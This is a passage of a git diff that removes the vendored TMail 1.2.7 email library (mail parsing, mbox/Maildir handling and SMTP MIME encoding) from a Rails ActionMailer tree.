-      #  email_string =<<HEREDOC
-      #  To: mikel@lindsaar.net
-      #  From: mikel@me.com
-      #  Subject: This is a short Email
-      #  
-      #  Hello there Mikel!
-      #  
-      #  HEREDOC
-      #  mail = TMail::Mail.parse(email_string)
-      #  #=> #<TMail::Mail port=#<TMail::StringPort:id=0xa30ac0> bodyport=nil>
-      #  mail.body
-      #  #=> "Hello there Mikel!\n\n"
-      def parse( str )
-        new(StringPort.new(str))
-      end
-
-    end
-
-    def initialize( port = nil, conf = DEFAULT_CONFIG ) #:nodoc:
-      @port = port || StringPort.new
-      @config = Config.to_config(conf)
-
-      @header      = {}
-      @body_port   = nil
-      @body_parsed = false
-      @epilogue    = ''
-      @parts       = []
-
-      @port.ropen {|f|
-          parse_header f
-          parse_body f unless @port.reproducible?
-      }
-    end
-
-    # Provides access to the port this email is using to hold it's data
-    # 
-    # Example:
-    #  mail = TMail::Mail.parse(email_string)
-    #  mail.port
-    #  #=> #<TMail::StringPort:id=0xa2c952>
-    attr_reader :port
-
-    def inspect
-      "\#<#{self.class} port=#{@port.inspect} bodyport=#{@body_port.inspect}>"
-    end
-
-    #
-    # to_s interfaces
-    #
-
-    public
-
-    include StrategyInterface
-
-    def write_back( eol = "\n", charset = 'e' )
-      parse_body
-      @port.wopen {|stream| encoded eol, charset, stream }
-    end
-
-    def accept( strategy )
-      with_multipart_encoding(strategy) {
-          ordered_each do |name, field|
-            next if field.empty?
-            strategy.header_name canonical(name)
-            field.accept strategy
-            strategy.puts
-          end
-          strategy.puts
-          body_port().ropen {|r|
-              strategy.write r.read
-          }
-      }
-    end
-
-    private
-
-    def canonical( name )
-      name.split(/-/).map {|s| s.capitalize }.join('-')
-    end
-
-    def with_multipart_encoding( strategy )
-      if parts().empty?    # DO NOT USE @parts
-        yield
-
-      else
-        bound = ::TMail.new_boundary
-        if @header.key? 'content-type'
-          @header['content-type'].params['boundary'] = bound
-        else
-          store 'Content-Type', %<multipart/mixed; boundary="#{bound}">
-        end
-
-        yield
-
-        parts().each do |tm|
-          strategy.puts
-          strategy.puts '--' + bound
-          tm.accept strategy
-        end
-        strategy.puts
-        strategy.puts '--' + bound + '--'
-        strategy.write epilogue()
-      end
-    end
-
-    ###
-    ### header
-    ###
-
-    public
-
-    ALLOW_MULTIPLE = {
-      'received'          => true,
-      'resent-date'       => true,
-      'resent-from'       => true,
-      'resent-sender'     => true,
-      'resent-to'         => true,
-      'resent-cc'         => true,
-      'resent-bcc'        => true,
-      'resent-message-id' => true,
-      'comments'          => true,
-      'keywords'          => true
-    }
-    USE_ARRAY = ALLOW_MULTIPLE
-
-    def header
-      @header.dup
-    end
-
-    # Returns a TMail::AddressHeader object of the field you are querying.
-    # Examples:
-    #  @mail['from']  #=> #<TMail::AddressHeader "mikel@test.com.au">
-    #  @mail['to']    #=> #<TMail::AddressHeader "mikel@test.com.au">
-    #
-    # You can get the string value of this by passing "to_s" to the query:
-    # Example:
-    #  @mail['to'].to_s #=> "mikel@test.com.au"
-    def []( key )
-      @header[key.downcase]
-    end
-
-    def sub_header(key, param)
-      (hdr = self[key]) ? hdr[param] : nil
-    end
-
-    alias fetch []
-
-    # Allows you to set or delete TMail header objects at will.
-    # Examples:
-    #  @mail = TMail::Mail.new
-    #  @mail['to'].to_s       # => 'mikel@test.com.au'
-    #  @mail['to'] = 'mikel@elsewhere.org'
-    #  @mail['to'].to_s       # => 'mikel@elsewhere.org'
-    #  @mail.encoded          # => "To: mikel@elsewhere.org\r\n\r\n"
-    #  @mail['to'] = nil
-    #  @mail['to'].to_s       # => nil
-    #  @mail.encoded          # => "\r\n"
-    # 
-    # Note: setting mail[] = nil actually deletes the header field in question from the object,
-    # it does not just set the value of the hash to nil
-    def []=( key, val )
-      dkey = key.downcase
-
-      if val.nil?
-        @header.delete dkey
-        return nil
-      end
-
-      case val
-      when String
-        header = new_hf(key, val)
-      when HeaderField
-        ;
-      when Array
-        ALLOW_MULTIPLE.include? dkey or
-                raise ArgumentError, "#{key}: Header must not be multiple"
-        @header[dkey] = val
-        return val
-      else
-        header = new_hf(key, val.to_s)
-      end
-      if ALLOW_MULTIPLE.include? dkey
-        (@header[dkey] ||= []).push header
-      else
-        @header[dkey] = header
-      end
-
-      val
-    end
-
-    alias store []=
-    
-    # Allows you to loop through each header in the TMail::Mail object in a block
-    # Example:
-    #   @mail['to'] = 'mikel@elsewhere.org'
-    #   @mail['from'] = 'me@me.com'
-    #   @mail.each_header { |k,v| puts "#{k} = #{v}" }
-    #   # => from = me@me.com
-    #   # => to = mikel@elsewhere.org
-    def each_header
-      @header.each do |key, val|
-        [val].flatten.each {|v| yield key, v }
-      end
-    end
-
-    alias each_pair each_header
-
-    def each_header_name( &block )
-      @header.each_key(&block)
-    end
-
-    alias each_key each_header_name
-
-    def each_field( &block )
-      @header.values.flatten.each(&block)
-    end
-
-    alias each_value each_field
-
-    FIELD_ORDER = %w(
-      return-path received
-      resent-date resent-from resent-sender resent-to
-      resent-cc resent-bcc resent-message-id
-      date from sender reply-to to cc bcc
-      message-id in-reply-to references
-      subject comments keywords
-      mime-version content-type content-transfer-encoding
-      content-disposition content-description
-    )
-
-    def ordered_each
-      list = @header.keys
-      FIELD_ORDER.each do |name|
-        if list.delete(name)
-          [@header[name]].flatten.each {|v| yield name, v }
-        end
-      end
-      list.each do |name|
-        [@header[name]].flatten.each {|v| yield name, v }
-      end
-    end
-
-    def clear
-      @header.clear
-    end
-
-    def delete( key )
-      @header.delete key.downcase
-    end
-
-    def delete_if
-      @header.delete_if do |key,val|
-        if Array === val
-          val.delete_if {|v| yield key, v }
-          val.empty?
-        else
-          yield key, val
-        end
-      end
-    end
-
-    def keys
-      @header.keys
-    end
-
-    def key?( key )
-      @header.key? key.downcase
-    end
-
-    def values_at( *args )
-      args.map {|k| @header[k.downcase] }.flatten
-    end
-
-    alias indexes values_at
-    alias indices values_at
-
-    private
-
-    def parse_header( f )
-      name = field = nil
-      unixfrom = nil
-
-      while line = f.gets
-        case line
-        when /\A[ \t]/             # continue from prev line
-          raise SyntaxError, 'mail is began by space' unless field
-          field << ' ' << line.strip
-
-        when /\A([^\: \t]+):\s*/   # new header line
-          add_hf name, field if field
-          name = $1
-          field = $' #.strip
-
-        when /\A\-*\s*\z/          # end of header
-          add_hf name, field if field
-          name = field = nil
-          break
-
-        when /\AFrom (\S+)/
-          unixfrom = $1
-
-        when /^charset=.*/
-
-        else
-          raise SyntaxError, "wrong mail header: '#{line.inspect}'"
-        end
-      end
-      add_hf name, field if name
-
-      if unixfrom
-        add_hf 'Return-Path', "<#{unixfrom}>" unless @header['return-path']
-      end
-    end
-
-    def add_hf( name, field )
-      key = name.downcase
-      field = new_hf(name, field)
-
-      if ALLOW_MULTIPLE.include? key
-        (@header[key] ||= []).push field
-      else
-        @header[key] = field
-      end
-    end
-
-    def new_hf( name, field )
-      HeaderField.new(name, field, @config)
-    end
-
-    ###
-    ### body
-    ###
-
-    public
-
-    def body_port
-      parse_body
-      @body_port
-    end
-
-    def each( &block )
-      body_port().ropen {|f| f.each(&block) }
-    end
-
-    def quoted_body
-      body_port.ropen {|f| return f.read }
-    end
-
-    def quoted_body= str
-      body_port.wopen { |f| f.write str }
-      str
-    end
-
-    def body=( str )
-      # Sets the body of the email to a new (encoded) string.
-      # 
-      # We also reparses the email if the body is ever reassigned, this is a performance hit, however when
-      # you assign the body, you usually want to be able to make sure that you can access the attachments etc.
-      # 
-      # Usage:
-      # 
-      #  mail.body = "Hello, this is\nthe body text"
-      #  # => "Hello, this is\nthe body"
-      #  mail.body
-      #  # => "Hello, this is\nthe body"
-      @body_parsed = false
-      parse_body(StringInput.new(str))
-      parse_body
-      @body_port.wopen {|f| f.write str }
-      str
-    end
-
-    alias preamble  quoted_body
-    alias preamble= quoted_body=
-
-    def epilogue
-      parse_body
-      @epilogue.dup
-    end
-
-    def epilogue=( str )
-      parse_body
-      @epilogue = str
-      str
-    end
-
-    def parts
-      parse_body
-      @parts
-    end
-    
-    def each_part( &block )
-      parts().each(&block)
-    end
-    
-    # Returns true if the content type of this part of the email is
-    # a disposition attachment
-    def disposition_is_attachment?
-      (self['content-disposition'] && self['content-disposition'].disposition == "attachment")
-    end
-
-    # Returns true if this part's content main type is text, else returns false.
-    # By main type is meant "text/plain" is text.  "text/html" is text
-    def content_type_is_text?
-      self.header['content-type'] && (self.header['content-type'].main_type != "text")
-    end
-
-    private
-
-    def parse_body( f = nil )
-      return if @body_parsed
-      if f
-        parse_body_0 f
-      else
-        @port.ropen {|f|
-            skip_header f
-            parse_body_0 f
-        }
-      end
-      @body_parsed = true
-    end
-
-    def skip_header( f )
-      while line = f.gets
-        return if /\A[\r\n]*\z/ === line
-      end
-    end
-
-    def parse_body_0( f )
-      if multipart?
-        read_multipart f
-      else
-        @body_port = @config.new_body_port(self)
-        @body_port.wopen {|w|
-            w.write f.read
-        }
-      end
-    end
-    
-    def read_multipart( src )
-      bound = @header['content-type'].params['boundary'] || ::TMail.new_boundary
-      is_sep = /\A--#{Regexp.quote bound}(?:--)?[ \t]*(?:\n|\r\n|\r)/
-      lastbound = "--#{bound}--"
-
-      ports = [ @config.new_preamble_port(self) ]
-      begin
-        f = ports.last.wopen
-        while line = src.gets
-          if is_sep === line
-            f.close
-            break if line.strip == lastbound
-            ports.push @config.new_part_port(self)
-            f = ports.last.wopen
-          else
-            f << line
-          end
-        end
-        @epilogue = (src.read || '')
-      ensure
-        f.close if f and not f.closed?
-      end
-
-      @body_port = ports.shift
-      @parts = ports.map {|p| self.class.new(p, @config) }
-    end
-
-  end   # class Mail
-
-end   # module TMail
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/mailbox.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/mailbox.rb
deleted file mode 100644
index fe3e2c35..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/mailbox.rb
+++ /dev/null
@@ -1,496 +0,0 @@
-=begin rdoc
-
-= Mailbox and Mbox interaction class
-
-=end
-#--
-# Copyright (c) 1998-2003 Minero Aoki <aamine@loveruby.net>
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#
-# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
-# with permission of Minero Aoki.
-#++
-
-require 'tmail/port'
-require 'socket'
-require 'mutex_m'
-
-
-unless [].respond_to?(:sort_by)
-module Enumerable#:nodoc:
-  def sort_by
-    map {|i| [yield(i), i] }.sort {|a,b| a.first <=> b.first }.map {|i| i[1] }
-  end
-end
-end
-
-
-module TMail
-
-  class MhMailbox
-
-    PORT_CLASS = MhPort
-
-    def initialize( dir )
-      edir = File.expand_path(dir)
-      raise ArgumentError, "not directory: #{dir}"\
-                              unless FileTest.directory? edir
-      @dirname = edir
-      @last_file = nil
-      @last_atime = nil
-    end
-
-    def directory
-      @dirname
-    end
-
-    alias dirname directory
-
-    attr_accessor :last_atime
-
-    def inspect
-      "#<#{self.class} #{@dirname}>"
-    end
-
-    def close
-    end
-
-    def new_port
-      PORT_CLASS.new(next_file_name())
-    end
-
-    def each_port
-      mail_files().each do |path|
-        yield PORT_CLASS.new(path)
-      end
-      @last_atime = Time.now
-    end
-
-    alias each each_port
-
-    def reverse_each_port
-      mail_files().reverse_each do |path|
-        yield PORT_CLASS.new(path)
-      end
-      @last_atime = Time.now
-    end
-
-    alias reverse_each reverse_each_port
-
-    # old #each_mail returns Port
-    #def each_mail
-    #  each_port do |port|
-    #    yield Mail.new(port)
-    #  end
-    #end
-
-    def each_new_port( mtime = nil, &block )
-      mtime ||= @last_atime
-      return each_port(&block) unless mtime
-      return unless File.mtime(@dirname) >= mtime
-
-      mail_files().each do |path|
-        yield PORT_CLASS.new(path) if File.mtime(path) > mtime
-      end
-      @last_atime = Time.now
-    end
-
-    private
-
-    def mail_files
-      Dir.entries(@dirname)\
-              .select {|s| /\A\d+\z/ === s }\
-              .map {|s| s.to_i }\
-              .sort\
-              .map {|i| "#{@dirname}/#{i}" }\
-              .select {|path| FileTest.file? path }
-    end
-
-    def next_file_name
-      unless n = @last_file
-        n = 0
-        Dir.entries(@dirname)\
-                .select {|s| /\A\d+\z/ === s }\
-                .map {|s| s.to_i }.sort\
-        .each do |i|
-          next unless FileTest.file? "#{@dirname}/#{i}"
-          n = i
-        end
-      end
-      begin
-        n += 1
-      end while FileTest.exist? "#{@dirname}/#{n}"
-      @last_file = n
-
-      "#{@dirname}/#{n}"
-    end
-
-  end   # MhMailbox
-
-  MhLoader = MhMailbox
-
-
-  class UNIXMbox
-  
-    class << self
-      alias newobj new
-    end
-
-    # Creates a new mailbox object that you can iterate through to collect the
-    # emails from with "each_port".  
-    # 
-    # You need to pass it a filename of a unix mailbox format file, the format of this
-    # file can be researched at this page at {wikipedia}[link:http://en.wikipedia.org/wiki/Mbox]
-    # 
-    # ==== Parameters
-    # 
-    # +filename+: The filename of the mailbox you want to open
-    # 
-    # +tmpdir+: Can be set to override TMail using the system environment's temp dir. TMail will first
-    # use the temp dir specified by you (if any) or then the temp dir specified in the Environment's TEMP
-    # value then the value in the Environment's TMP value or failing all of the above, '/tmp'
-    # 
-    # +readonly+: If set to false, each email you take from the mail box will be removed from the mailbox.
-    # default is *false* - ie, it *WILL* truncate your mailbox file to ZERO once it has read the emails out.
-    # 
-    # ==== Options:
-    # 
-    # None
-    # 
-    # ==== Examples:
-    # 
-    #  # First show using readonly true:
-    # 
-    #  require 'ftools'
-    #  File.size("../test/fixtures/mailbox")
-    #  #=> 20426
-    #
-    #  mailbox = TMail::UNIXMbox.new("../test/fixtures/mailbox", nil, true) 
-    #  #=> #<TMail::UNIXMbox:0x14a2aa8 @readonly=true.....>
-    #
-    #  mailbox.each_port do |port| 
-    #    mail = TMail::Mail.new(port)
-    #    puts mail.subject
-    #  end
-    #  #Testing mailbox 1
-    #  #Testing mailbox 2
-    #  #Testing mailbox 3
-    #  #Testing mailbox 4
-    #  require 'ftools'
-    #  File.size?("../test/fixtures/mailbox")
-    #  #=> 20426
-    # 
-    #  # Now show with readonly set to the default false
-    # 
-    #  mailbox = TMail::UNIXMbox.new("../test/fixtures/mailbox") 
-    #  #=> #<TMail::UNIXMbox:0x14a2aa8 @readonly=false.....>
-    #
-    #  mailbox.each_port do |port| 
-    #    mail = TMail::Mail.new(port)
-    #    puts mail.subject
-    #  end
-    #  #Testing mailbox 1
-    #  #Testing mailbox 2
-    #  #Testing mailbox 3
-    #  #Testing mailbox 4
-    # 
-    #  File.size?("../test/fixtures/mailbox")
-    #  #=> nil
-    def UNIXMbox.new( filename, tmpdir = nil, readonly = false )
-      tmpdir = ENV['TEMP'] || ENV['TMP'] || '/tmp'
-      newobj(filename, "#{tmpdir}/ruby_tmail_#{$$}_#{rand()}", readonly, false)
-    end
-
-    def UNIXMbox.lock( fname )
-      begin
-        f = File.open(fname, 'r+')
-        f.flock File::LOCK_EX
-        yield f
-      ensure
-        f.flock File::LOCK_UN
-        f.close if f and not f.closed?
-      end
-    end
-
-    def UNIXMbox.static_new( fname, dir, readonly = false )
-      newobj(fname, dir, readonly, true)
-    end
-
-    def initialize( fname, mhdir, readonly, static )
-      @filename = fname
-      @readonly = readonly
-      @closed = false
-
-      Dir.mkdir mhdir
-      @real = MhMailbox.new(mhdir)
-      @finalizer = UNIXMbox.mkfinal(@real, @filename, !@readonly, !static)
-      ObjectSpace.define_finalizer self, @finalizer
-    end
-
-    def UNIXMbox.mkfinal( mh, mboxfile, writeback_p, cleanup_p )
-      lambda {
-          if writeback_p
-            lock(mboxfile) {|f|
-                mh.each_port do |port|
-                  f.puts create_from_line(port)
-                  port.ropen {|r|
-                      f.puts r.read
-                  }
-                end
-            }
-          end
-          if cleanup_p
-            Dir.foreach(mh.dirname) do |fname|
-              next if /\A\.\.?\z/ === fname
-              File.unlink "#{mh.dirname}/#{fname}"
-            end
-            Dir.rmdir mh.dirname
-          end
-      }
-    end
-
-    # make _From line
-    def UNIXMbox.create_from_line( port )
-      sprintf 'From %s %s',
-              fromaddr(), TextUtils.time2str(File.mtime(port.filename))
-    end
-
-    def UNIXMbox.fromaddr(port)
-      h = HeaderField.new_from_port(port, 'Return-Path') ||
-      HeaderField.new_from_port(port, 'From') ||
-      HeaderField.new_from_port(port, 'EnvelopeSender') or return 'nobody'
-      a = h.addrs[0] or return 'nobody'
-      a.spec
-    end
-
-    def close
-      return if @closed
-
-      ObjectSpace.undefine_finalizer self
-      @finalizer.call
-      @finalizer = nil
-      @real = nil
-      @closed = true
-      @updated = nil
-    end
-
-    def each_port( &block )
-      close_check
-      update
-      @real.each_port(&block)
-    end
-
-    alias each each_port
-
-    def reverse_each_port( &block )
-      close_check
-      update
-      @real.reverse_each_port(&block)
-    end
-
-    alias reverse_each reverse_each_port
-
-    # old #each_mail returns Port
-    #def each_mail( &block )
-    #  each_port do |port|
-    #    yield Mail.new(port)
-    #  end
-    #end
-
-    def each_new_port( mtime = nil )
-      close_check
-      update
-      @real.each_new_port(mtime) {|p| yield p }
-    end
-
-    def new_port
-      close_check
-      @real.new_port
-    end
-
-    private
-
-    def close_check
-      @closed and raise ArgumentError, 'accessing already closed mbox'
-    end
-
-    def update
-      return if FileTest.zero?(@filename)
-      return if @updated and File.mtime(@filename) < @updated
-      w = nil
-      port = nil
-      time = nil
-      UNIXMbox.lock(@filename) {|f|
-          begin
-            f.each do |line|
-              if /\AFrom / === line
-                w.close if w
-                File.utime time, time, port.filename if time
-
-                port = @real.new_port
-                w = port.wopen
-                time = fromline2time(line)
-              else
-                w.print line if w
-              end
-            end
-          ensure
-            if w and not w.closed?
-              w.close
-              File.utime time, time, port.filename if time
-            end
-          end
-          f.truncate(0) unless @readonly
-          @updated = Time.now
-      }
-    end
-
-    def fromline2time( line )
-      m = /\AFrom \S+ \w+ (\w+) (\d+) (\d+):(\d+):(\d+) (\d+)/.match(line) or return nil
-      Time.local(m[6].to_i, m[1], m[2].to_i, m[3].to_i, m[4].to_i, m[5].to_i)
-    rescue
-      nil
-    end
-
-  end   # UNIXMbox
-
-  MboxLoader = UNIXMbox
-
-
-  class Maildir
-
-    extend Mutex_m
-
-    PORT_CLASS = MaildirPort
-
-    @seq = 0
-    def Maildir.unique_number
-      synchronize {
-          @seq += 1
-          return @seq
-      }
-    end
-
-    def initialize( dir = nil )
-      @dirname = dir || ENV['MAILDIR']
-      raise ArgumentError, "not directory: #{@dirname}"\
-                              unless FileTest.directory? @dirname
-      @new = "#{@dirname}/new"
-      @tmp = "#{@dirname}/tmp"
-      @cur = "#{@dirname}/cur"
-    end
-
-    def directory
-      @dirname
-    end
-
-    def inspect
-      "#<#{self.class} #{@dirname}>"
-    end
-
-    def close
-    end
-
-    def each_port
-      mail_files(@cur).each do |path|
-        yield PORT_CLASS.new(path)
-      end
-    end
-
-    alias each each_port
-
-    def reverse_each_port
-      mail_files(@cur).reverse_each do |path|
-        yield PORT_CLASS.new(path)
-      end
-    end
-
-    alias reverse_each reverse_each_port
-
-    def new_port
-      fname = nil
-      tmpfname = nil
-      newfname = nil
-
-      begin
-        fname = "#{Time.now.to_i}.#{$$}_#{Maildir.unique_number}.#{Socket.gethostname}"
-        
-        tmpfname = "#{@tmp}/#{fname}"
-        newfname = "#{@new}/#{fname}"
-      end while FileTest.exist? tmpfname
-
-      if block_given?
-        File.open(tmpfname, 'w') {|f| yield f }
-        File.rename tmpfname, newfname
-        PORT_CLASS.new(newfname)
-      else
-        File.open(tmpfname, 'w') {|f| f.write "\n\n" }
-        PORT_CLASS.new(tmpfname)
-      end
-    end
-
-    def each_new_port
-      mail_files(@new).each do |path|
-        dest = @cur + '/' + File.basename(path)
-        File.rename path, dest
-        yield PORT_CLASS.new(dest)
-      end
-
-      check_tmp
-    end
-
-    TOO_OLD = 60 * 60 * 36   # 36 hour
-
-    def check_tmp
-      old = Time.now.to_i - TOO_OLD
-      
-      each_filename(@tmp) do |full, fname|
-        if FileTest.file? full and
-           File.stat(full).mtime.to_i < old
-          File.unlink full
-        end
-      end
-    end
-
-    private
-
-    def mail_files( dir )
-      Dir.entries(dir)\
-              .select {|s| s[0] != ?. }\
-              .sort_by {|s| s.slice(/\A\d+/).to_i }\
-              .map {|s| "#{dir}/#{s}" }\
-              .select {|path| FileTest.file? path }
-    end
-
-    def each_filename( dir )
-      Dir.foreach(dir) do |fname|
-        path = "#{dir}/#{fname}"
-        if fname[0] != ?. and FileTest.file? path
-          yield path, fname
-        end
-      end
-    end
-    
-  end   # Maildir
-
-  MaildirLoader = Maildir
-
-end   # module TMail
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/main.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/main.rb
deleted file mode 100644
index e5277279..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/main.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-#:stopdoc:
-require 'tmail/version'
-require 'tmail/mail'
-require 'tmail/mailbox'
-require 'tmail/core_extensions'
-#:startdoc:
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/mbox.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/mbox.rb
deleted file mode 100644
index 6c0e2511..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/mbox.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-#:stopdoc:
-require 'tmail/mailbox'
-#:startdoc:
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/net.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/net.rb
deleted file mode 100644
index 1d87c307..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/net.rb
+++ /dev/null
@@ -1,250 +0,0 @@
-#--
-# Copyright (c) 1998-2003 Minero Aoki <aamine@loveruby.net>
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#
-# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
-# with permission of Minero Aoki.
-#++
-
-#:stopdoc:
-require 'nkf'
-#:startdoc:
-
-module TMail
-
-  class Mail
-    
-    def send_to( smtp )
-      do_send_to(smtp) do
-        ready_to_send
-      end
-    end
-
-    def send_text_to( smtp )
-      do_send_to(smtp) do
-        ready_to_send
-        mime_encode
-      end
-    end
-
-    def do_send_to( smtp )
-      from = from_address or raise ArgumentError, 'no from address'
-      (dests = destinations).empty? and raise ArgumentError, 'no receipient'
-      yield
-      send_to_0 smtp, from, dests
-    end
-    private :do_send_to
-
-    def send_to_0( smtp, from, to )
-      smtp.ready(from, to) do |f|
-        encoded "\r\n", 'j', f, ''
-      end
-    end
-
-    def ready_to_send
-      delete_no_send_fields
-      add_message_id
-      add_date
-    end
-
-    NOSEND_FIELDS = %w(
-      received
-      bcc
-    )
-
-    def delete_no_send_fields
-      NOSEND_FIELDS.each do |nm|
-        delete nm
-      end
-      delete_if {|n,v| v.empty? }
-    end
-
-    def add_message_id( fqdn = nil )
-      unless @message_id_enforced
-        self.message_id = ::TMail::new_message_id(fqdn)
-      end
-    end
-
-    def add_date
-      self.date = Time.now
-    end
-
-    def mime_encode
-      if parts.empty?
-        mime_encode_singlepart
-      else
-        mime_encode_multipart true
-      end
-    end
-
-    def mime_encode_singlepart
-      self.mime_version = '1.0'
-      b = body
-      if NKF.guess(b) != NKF::BINARY
-        mime_encode_text b
-      else
-        mime_encode_binary b
-      end
-    end
-
-    def mime_encode_text( body )
-      self.body = NKF.nkf('-j -m0', body)
-      self.set_content_type 'text', 'plain', {'charset' => 'iso-2022-jp'}
-      self.encoding = '7bit'
-    end
-
-    def mime_encode_binary( body )
-      self.body = [body].pack('m')
-      self.set_content_type 'application', 'octet-stream'
-      self.encoding = 'Base64'
-    end
-
-    def mime_encode_multipart( top = true )
-      self.mime_version = '1.0' if top
-      self.set_content_type 'multipart', 'mixed'
-      e = encoding(nil)
-      if e and not /\A(?:7bit|8bit|binary)\z/i === e
-        raise ArgumentError,
-              'using C.T.Encoding with multipart mail is not permitted'
-      end
-    end
-  
-  end
-
-  #:stopdoc:
-  class DeleteFields
-
-    NOSEND_FIELDS = %w(
-      received
-      bcc
-    )
-
-    def initialize( nosend = nil, delempty = true )
-      @no_send_fields = nosend || NOSEND_FIELDS.dup
-      @delete_empty_fields = delempty
-    end
-
-    attr :no_send_fields
-    attr :delete_empty_fields, true
-
-    def exec( mail )
-      @no_send_fields.each do |nm|
-        delete nm
-      end
-      delete_if {|n,v| v.empty? } if @delete_empty_fields
-    end
-  
-  end
-  #:startdoc:
-
-  #:stopdoc:
-  class AddMessageId
-
-    def initialize( fqdn = nil )
-      @fqdn = fqdn
-    end
-
-    attr :fqdn, true
-
-    def exec( mail )
-      mail.message_id = ::TMail::new_msgid(@fqdn)
-    end
-  
-  end
-  #:startdoc:
-
-  #:stopdoc:
-  class AddDate
-
-    def exec( mail )
-      mail.date = Time.now
-    end
-  
-  end
-  #:startdoc:
-
-  #:stopdoc:
-  class MimeEncodeAuto
-
-    def initialize( s = nil, m = nil )
-      @singlepart_composer = s || MimeEncodeSingle.new
-      @multipart_composer  = m || MimeEncodeMulti.new
-    end
-
-    attr :singlepart_composer
-    attr :multipart_composer
-
-    def exec( mail )
-      if mail._builtin_multipart?
-      then @multipart_composer
-      else @singlepart_composer end.exec mail
-    end
-  
-  end
-  #:startdoc:
-  
-  #:stopdoc:
-  class MimeEncodeSingle
-
-    def exec( mail )
-      mail.mime_version = '1.0'
-      b = mail.body
-      if NKF.guess(b) != NKF::BINARY
-        on_text b
-      else
-        on_binary b
-      end
-    end
-
-    def on_text( body )
-      mail.body = NKF.nkf('-j -m0', body)
-      mail.set_content_type 'text', 'plain', {'charset' => 'iso-2022-jp'}
-      mail.encoding = '7bit'
-    end
-
-    def on_binary( body )
-      mail.body = [body].pack('m')
-      mail.set_content_type 'application', 'octet-stream'
-      mail.encoding = 'Base64'
-    end
-  
-  end
-  #:startdoc:
-  
-  #:stopdoc:
-  class MimeEncodeMulti
-
-    def exec( mail, top = true )
-      mail.mime_version = '1.0' if top
-      mail.set_content_type 'multipart', 'mixed'
-      e = encoding(nil)
-      if e and not /\A(?:7bit|8bit|binary)\z/i === e
-        raise ArgumentError,
-              'using C.T.Encoding with multipart mail is not permitted'
-      end
-      mail.parts.each do |m|
-        exec m, false if m._builtin_multipart?
-      end
-    end
-
-  end
-  #:startdoc:
-end   # module TMail
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/obsolete.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/obsolete.rb
deleted file mode 100644
index 22b0a126..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/obsolete.rb
+++ /dev/null
@@ -1,132 +0,0 @@
-=begin rdoc
-
-= Obsolete methods that are depriciated
-
-If you really want to see them, go to lib/tmail/obsolete.rb and view to your
-heart's content.
-
-=end
-#--
-# Copyright (c) 1998-2003 Minero Aoki <aamine@loveruby.net>
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
